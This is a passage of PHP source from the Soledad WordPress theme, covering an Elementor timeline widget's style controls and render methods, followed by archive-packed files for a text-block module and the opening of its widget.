				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-date span' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'date_typography',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-date',
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'date_shadow',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-date span',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_image',
			[
				'label'     => esc_html__( 'Thumbnail', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_image' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'image_ratio',
			[
				'label'     => esc_html__( 'Image Height/Ratio', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 50,
						'max'  => 500,
						'step' => 5,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail img' => 'height: {{SIZE}}px',
					'{{WRAPPER}} .penci-bgitem .penci-image-holder:before'  => 'padding-top: {{SIZE}}%;',
				],
			]
		);

		$this->add_control(
			'image_opacity',
			[
				'label'     => esc_html__( 'Opacity', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 1,
				],
				'range'     => [
					'px' => [
						'min'  => 0.1,
						'max'  => 1,
						'step' => 0.1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail img' => 'opacity: {{SIZE}};',
					'{{WRAPPER}} .penci-bgitem .penci-image-holder'         => 'opacity: {{SIZE}};',
				],
			]
		);

		$this->add_responsive_control(
			'image_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .pcbg-thumb'                           => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'image_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail,{{WRAPPER}} .pcbg-thumb',
			]
		);

		$this->add_responsive_control(
			'image_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail, {{WRAPPER}} .pcbg-thumb' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};overflow: hidden;',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_title' => 'yes',
				],
			]
		);

		$this->add_control(
			'title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-title *'            => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'title_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-title a:hover'            => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title a:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'title_bg_color',
				'selector'       => '{{WRAPPER}} .penci-tiline .penci-tiline-title *, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title a',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
			]
		);

		$this->add_responsive_control(
			'title_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-title *, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'title_padding',
			[
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-title *'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'title_typography',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-title, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title a',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_meta',
			[
				'label'     => esc_html__( 'Meta', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_meta' => 'yes',
				],
			]
		);

		$this->add_control(
			'meta_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-meta *' => 'color: {{VALUE}};',
					'{{WRAPPER}} .grid-post-box-meta span'           => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'meta_linkcolor',
			[
				'label'     => esc_html__( 'Link Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'meta_hvcolor',
			[
				'label'     => esc_html__( 'Link Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .grid-post-box-meta span a:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'meta_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-meta *, {{WRAPPER}} .grid-post-box-meta span',
			]
		);

		$this->add_responsive_control(
			'meta_spacing',
			[
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-meta, {{WRAPPER}} .grid-post-box-meta' => 'margin-top: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();
		
		$this->start_controls_section(
			'section_style_category',
			[
				'label'     => esc_html__( 'Categories', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_cat' => 'yes',
				],
			]
		);

		$this->add_control(
			'category_linkcolor',
			[
				'label'     => esc_html__( 'Link Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .cat > a.penci-cat-name' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'category_hvcolor',
			[
				'label'     => esc_html__( 'Link Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'category_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
			]
		);

		$this->add_responsive_control(
			'category_spacing',
			[
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .pcbg-above.item-hover' => 'margin-top: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_excerpt',
			[
				'label'     => esc_html__( 'Excerpt', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_excerpt' => 'yes',
				],
			]
		);

		$this->add_control(
			'excerpt_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-excerpt' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-bgitem .pcbg-pexcerpt'        => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'excerpt_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-excerpt, {{WRAPPER}} .penci-bgitem .pcbg-pexcerpt',
			]
		);

		$this->add_responsive_control(
			'excerpt_spacing',
			[
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-excerpt, {{WRAPPER}} .penci-bgitem .pcbg-pexcerpt' => 'margin-top: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_readmore',
			[
				'label'     => esc_html__( 'Readmore Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_readmore' => 'yes',
				],
			]
		);

		$this->start_controls_tabs( 'tabs_readmore_style' );

		$this->start_controls_tab(
			'tab_readmore_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'readmore_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore svg'                              => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'readmore_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'readmore_shadow',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-readmore, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn',
			]
		);

		$this->add_control(
			'readmore_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'readmore_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-tiline .penci-tiline-readmore, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn',
			]
		);

		$this->add_responsive_control(
			'readmore_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};overflow: hidden;',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'readmore_spacing',
			[
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'margin-top: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'margin-top: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'readmore_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-readmore, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_readmore_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'readmore_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore:hover'                                  => 'color: {{VALUE}} !important;',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover' => 'color: {{VALUE}} !important;',
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore:hover svg'                              => 'fill: {{VALUE}} !important;',
				],
			]
		);

		$this->add_control(
			'readmore_hover_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore:hover'                                  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'readmore_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'readmore_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore:hover'                                  => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
	}

	public function render_excerpt( $item = [] ) {
		
		if ( ! $this->get_settings( 'show_excerpt' ) ) {
			return;
		}
		?>
		<div class="penci-tiline-excerpt">
			<?php echo do_shortcode( $item['timeline_text'] ); ?>
		</div>
		<?php
	}

	public function render_readmore( $item = [] ) {

		if ( ! $this->get_settings( 'show_readmore' ) ) {
			return;
		}

		$settings = $this->get_settings_for_display();

		$readmore_link = $item['timeline_link'];

		$this->add_render_attribute(
			[
				'timeline-readmore' => [
					'href'  => esc_url( $readmore_link ),
					'class' => [
						'penci-tiline-readmore'
					],
				]
			],
			'',
			'',
			true
		);

		if ( ! isset( $settings['icon'] ) && ! Icons_Manager::is_migration_allowed() ) {
			// add old default
			$settings['icon'] = 'fas fa-arrow-right';
		}

		$migrated = isset( $settings['__fa4_migrated']['button_icon'] );
		$is_new   = empty( $settings['icon'] ) && Icons_Manager::is_migration_allowed();

		?>
        <a <?php $this->print_render_attribute_string( 'timeline-readmore' ); ?>>
			<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>

			<?php if ( $settings['button_icon']['value'] ) : ?>
                <span class="penci-button-icon-align-<?php echo esc_attr( $settings['icon_align'] ); ?>">

					<?php if ( $is_new || $migrated ) :
						Icons_Manager::render_icon( $settings['button_icon'], [
							'aria-hidden' => 'true',
							'class'       => 'fa-fw'
						] );
					else : ?>
                        <i class="<?php echo esc_attr( $settings['icon'] ); ?>" aria-hidden="true"></i>
					<?php endif; ?>

				</span>
			<?php endif; ?>
        </a>
		<?php

	}

	public function render_image( $item = [] ) {

		if ( ! $this->get_settings( 'show_image' ) ) {
			return;
		}

		$image_url = ( $item['timeline_image']['url'] ) ?: '';
		$title     = $item['timeline_title'];

		if ( $image_url ) {
			?>
            <div class="penci-tiline-thumbnail">
                <img src="<?php echo esc_url( $image_url ); ?>" alt="<?php echo esc_html( $title ); ?>">
            </div>
			<?php
		}
	}

	public function render_title( $item = [] ) {

		if ( ! $this->get_settings( 'show_title' ) ) {
			return;
		}

		$settings = $this->get_settings_for_display();

		$title_link = $item['timeline_link'];
		$title      = $item['timeline_title'];

		$this->add_render_attribute( 'penci-tiline-title', 'class', 'penci-tiline-title', true );

		?>
        <<?php echo esc_attr( $settings['title_tags'] ); ?>
		<?php $this->print_render_attribute_string( 'penci-tiline-title' ); ?>>
		<?php if ( $settings['title_link'] ) : ?>
            <a href="<?php echo esc_url( $title_link ); ?>" title="<?php echo esc_html( $title ); ?>">
				<?php echo esc_html( $title ); ?>
            </a>
		<?php else : ?>
            <span>
					<?php echo esc_html( $title ); ?>
				</span>
		<?php endif; ?>
        </<?php echo esc_attr( $settings['title_tags'] ); ?>>
		<?php

	}

	public function render_meta( $align, $item = [] ) {

		if ( ! $this->get_settings( 'show_meta' ) ) {
			return;
		}

		?>
        <ul class="penci-tiline-meta">
			<li>
				<?php echo esc_html( $item['timeline_date'] ); ?>
            </li>
        </ul>
		<?php

	}

	public function render_item( $align, $item = [] ) {
		?>
        <div class="penci-tiline-item-main elementor-repeater-item-<?php echo isset( $item['_id'] ) ? esc_attr( $item['_id'] ) : ''; ?>">
            <span class="penci-tiline-arrow"></span>

			<?php $this->render_image( $item ); ?>

            <div class="penci-tiline-desc">
				<?php $this->render_title( $item ); ?>
				<?php $this->render_meta( $align, $item ); ?>
				<?php $this->render_excerpt( $item ); ?>
				<?php $this->render_readmore( $item ); ?>
            </div>
        </div>
		<?php

	}

	public function render_date( $align = 'left', $item = [] ) {

		$settings = $this->get_settings_for_display();

		if ( 'post' == $settings['timeline_source'] ) {
			$timeline_date = get_the_date( 'd F Y' );
		} else {
			$timeline_date = isset( $item['timeline_date'] ) ? $item['timeline_date'] : '';
			$timeline_date = isset( $item['timeline_subtitle'] ) ? $item['timeline_subtitle'] : $timeline_date;
		}

		?>
        <div class="penci-tiline-item penci-tiline-item-date-wrap <?php echo $align; ?>">
            <div class="penci-tiline-date">
				<span>
					<?php echo esc_html( $timeline_date ); ?>
				</span>
            </div>
        </div>
		<?php

	}

	function render_post_format() {

		$this->add_render_attribute( 'timeline-icon', 'class', 'penci-tiline-icon' );

		?>
        <div <?php $this->print_render_attribute_string( 'timeline-icon' ); ?>>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <span><?php penci_fawesome_icon( 'far fa-image' ); ?></span>
			<?php elseif ( has_post_format( 'link' ) ) : ?>
                <span><?php penci_fawesome_icon( 'fas fa-link' ); ?></span>
			<?php elseif ( has_post_format( 'quote' ) ) : ?>
                <span><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></span>
			<?php elseif ( has_post_format( 'video' ) ) : ?>
                <span><?php penci_fawesome_icon( 'fas fa-play' ); ?></span>
			<?php elseif ( has_post_format( 'audio' ) ) : ?>
                <span><?php penci_fawesome_icon( 'fas fa-music' ); ?></span>
			<?php else : ?>
                <span><?php penci_fawesome_icon( 'fas fa-file' ); ?></span>
			<?php endif; ?>
        </div>
		<?php
	}

	public function render_post() {
		$settings          = $this->get_settings();
		$id                = $this->get_id();
		$align             = $settings['timeline_align'];
		$center_side       = 'center' == $align && $settings['timeline_center_side'] ? $settings['timeline_center_side'] : '';
		$center_side_class = ( 'center' == $align && $center_side ) ? 'penci-tiline-center-' . $center_side : '';

		$query_args = Query_Control::get_query_args( 'posts', $settings );

		$wp_query = new \WP_Query( $query_args );

		if ( ! $wp_query->found_posts ) {
			return;
		}

		if ( $wp_query->have_posts() ) :

			$this->add_render_attribute(
				[
					'penci-tiline' => [
						'id'    => 'penci-tiline-' . esc_attr( $id ),
						'class' => [
							'penci-tiline',
							'penci-tiline-posts',
							'penci-tiline-icon-yes',
							'penci-tiline-' . esc_attr( $align ),
							$center_side_class
						]
					]
				]
			);

			?>
            <div <?php $this->print_render_attribute_string( 'penci-tiline' ); ?>>
                <div class="penci-tiline-grid penci-tiline-align-<?php echo $align; ?>">
					<?php
					$count             = 0;
					$showcat           = $settings['show_cat'];
					$primary_cat       = $settings['show_cat_pri'];
					$excerpt           = $settings['show_excerpt'];
					$excerpt_length    = $settings['excerpt_length'];
					$thumbnail         = $settings['thumbnail_size_size'];
					$mthumb_size       = 'medium';
					$disable_lazy      = $settings['dislazyload'];
					$readmore_icon     = $settings['button_icon'];
					$readmore_icon_pos = $settings['icon_align'];
					$readmore          = $settings['show_readmore'];
					$show_meta         = $settings['show_meta'];
					$show_title        = $settings['show_title'];
					$show_image        = $settings['show_image'];

					while ( $wp_query->have_posts() ) :
						$wp_query->the_post();

						$count ++;
						$post_format = get_post_format() ?: 'standard';
						$item_part   = ( $count % 2 === 0 ) ? 'right' : 'left';

						if ( $align == 'center' && $center_side ) {
							$item_part = $center_side;
						}


						if ( ( $count % 2 === 0 && 'center' == $align && ! $center_side ) || 'right' == $center_side ) : ?>
							<?php $this->render_date( 'right', '' ); ?>
						<?php endif; ?>

                        <div class="penci-tiline-item <?php echo esc_attr( $item_part ) . '-part'; ?> main-alt-part">

                            <div class="penci-tiline-item-main-wrapper">
                                <div class="penci-tiline-line">
                                    <span></span>
                                </div>
                                <div class="penci-tiline-item-main-container">

									<?php $this->render_post_format(); ?>

                                    <div class="penci-tiline-item-main">
                                        <span class="penci-tiline-arrow"></span>
										<?php
										include dirname( __FILE__ ) . "/post.php";
										?>
                                    </div>

                                </div>
                            </div>
                        </div>

						<?php if ( ( $count % 2 === 1 && ( 'center' == $align ) && ! $center_side ) || 'left' == $center_side ) : ?>
						<?php $this->render_date( '' ); ?>
					<?php endif; ?>

					<?php endwhile;
					wp_reset_postdata(); ?>
                </div>
            </div>

		<?php endif;
	}

	public function render_custom() {
		$id             = $this->get_id();
		$settings       = $this->get_settings_for_display();
		$timeline_items = $settings['timeline_items'];

		$align             = $settings['timeline_align'];
		$center_side       = 'center' == $align && $settings['timeline_center_side'] ? $settings['timeline_center_side'] : '';
		$center_side_class = ( 'center' == $align && $center_side ) ? 'penci-tiline-center-' . $center_side : '';

		$this->add_render_attribute( 'penci-tiline-custom', 'id', 'penci-tiline-' . esc_attr( $id ) );
		$this->add_render_attribute( 'penci-tiline-custom', 'class', 'penci-tiline' );
		$this->add_render_attribute( 'penci-tiline-custom', 'class', 'penci-tiline-' . esc_attr( $align ) );
		$this->add_render_attribute( 'penci-tiline-custom', 'class', $center_side_class );

		?>
        <div <?php $this->print_render_attribute_string( 'penci-tiline-custom' ); ?>>
            <div class="penci-tiline-grid penci-tiline-align-<?php echo $align; ?>">
				<?php
				$count = 0;
				foreach ( $timeline_items as $item ) :
					$count ++;

					if ( ! isset( $item['timeline_icon'] ) && ! Icons_Manager::is_migration_allowed() ) {
						// add old default
						$item['timeline_icon'] = 'fas fa-file-alt';
					}

					$migrated = isset( $item['__fa4_migrated']['timeline_select_icon'] );
					$is_new   = empty( $item['timeline_icon'] ) && Icons_Manager::is_migration_allowed();


					$item_part = ( $count % 2 === 0 ) ? 'right' : 'left';

					if ( $align == 'center' && $center_side ) {
						$item_part = $center_side;
					}

					if ( ( $count % 2 === 0 && 'center' == $align && ! $center_side ) || 'right' == $center_side ) : ?>
						<?php $this->render_date( 'right', $item ); ?>
					<?php endif; ?>


                    <div
                            class="penci-tiline-item <?php echo esc_attr( $item_part ) . '-part'; ?>">

                        <div class="penci-tiline-item-main-wrapper">
                            <div class="penci-tiline-line">
                                <span></span>
                            </div>
                            <div class="penci-tiline-item-main-container">


                                <div class="penci-tiline-icon">

									<span>

									<?php if ( $is_new || $migrated ) :
										Icons_Manager::render_icon( $item['timeline_select_icon'], [ 'aria-hidden' => 'true' ] );
									else : ?>
                                        <i class="<?php echo esc_attr( $item['timeline_icon'] ); ?>"
                                           aria-hidden="true"></i>
									<?php endif; ?>

									</span>

                                </div>
								<?php $this->render_item( $align, $item ); ?>
                            </div>
                        </div>
                    </div>

					<?php if ( ( $count % 2 === 1 && ( 'center' == $align ) && ! $center_side ) || 'left' == $center_side ) : ?>
					<?php $this->render_date( '', $item ); ?>
				<?php endif; ?>

				<?php endforeach; ?>

				<?php wp_reset_postdata(); ?>

            </div>
        </div>
		<?php
	}

	public function render() {

		$settings = $this->get_settings_for_display();

		if ( 'post' === $settings['timeline_source'] ) {
			$this->render_post();
		} else if ( 'custom' === $settings['timeline_source'] ) {
			$this->render_custom();
		} else {
			return;
		}
	}
}
PK     N\uA    1  inc/elementor/modules/penci-text-block/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTextBlock;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-text-block';
	}

	public function get_widgets() {
		return array( 'PenciTextBlock' );
	}
}
PK     N\e6    C  inc/elementor/modules/penci-text-block/widgets/penci-text-block.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTextBlock\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciTextBlock extends Base_Widget {

	public function get_name() {
		return 'penci-text-block';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Text Block', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-t-letter';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_editor',
			array(
				'label' => __( 'Text Editor', 'elementor' ),
			)
		);

		$this->add_control(
			'editor',
			array(
				'label'   => '',
				'type'    => Controls_Manager::WYSIWYG,
				'dynamic' => array( 'active' => true ),
				'default' => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'elementor' ),

			)
		);

		$this->add_control(
			'entry_format',
			[
				'label'     => esc_html__( 'Enable Entry Format', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
			]
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style',
			array(
				'label' => __( 'Text Editor', 'elementor' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'align',
			array(
				'label'     => __( 'Alignment', 'elementor' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => array(
					'left'    => array(
						'title' => __( 'Left', 'elementor' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center'  => array(
						'title' => __( 'Center', 'elementor' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'   => array(
						'title' => __( 'Right', 'elementor' ),
						'icon'  => 'eicon-text-align-right',
					),
					'justify' => array(
						'title' => __( 'Justified', 'elementor' ),
						'icon'  => 'eicon-text-align-justify',
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .elementor-text-editor' => 'text-align: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
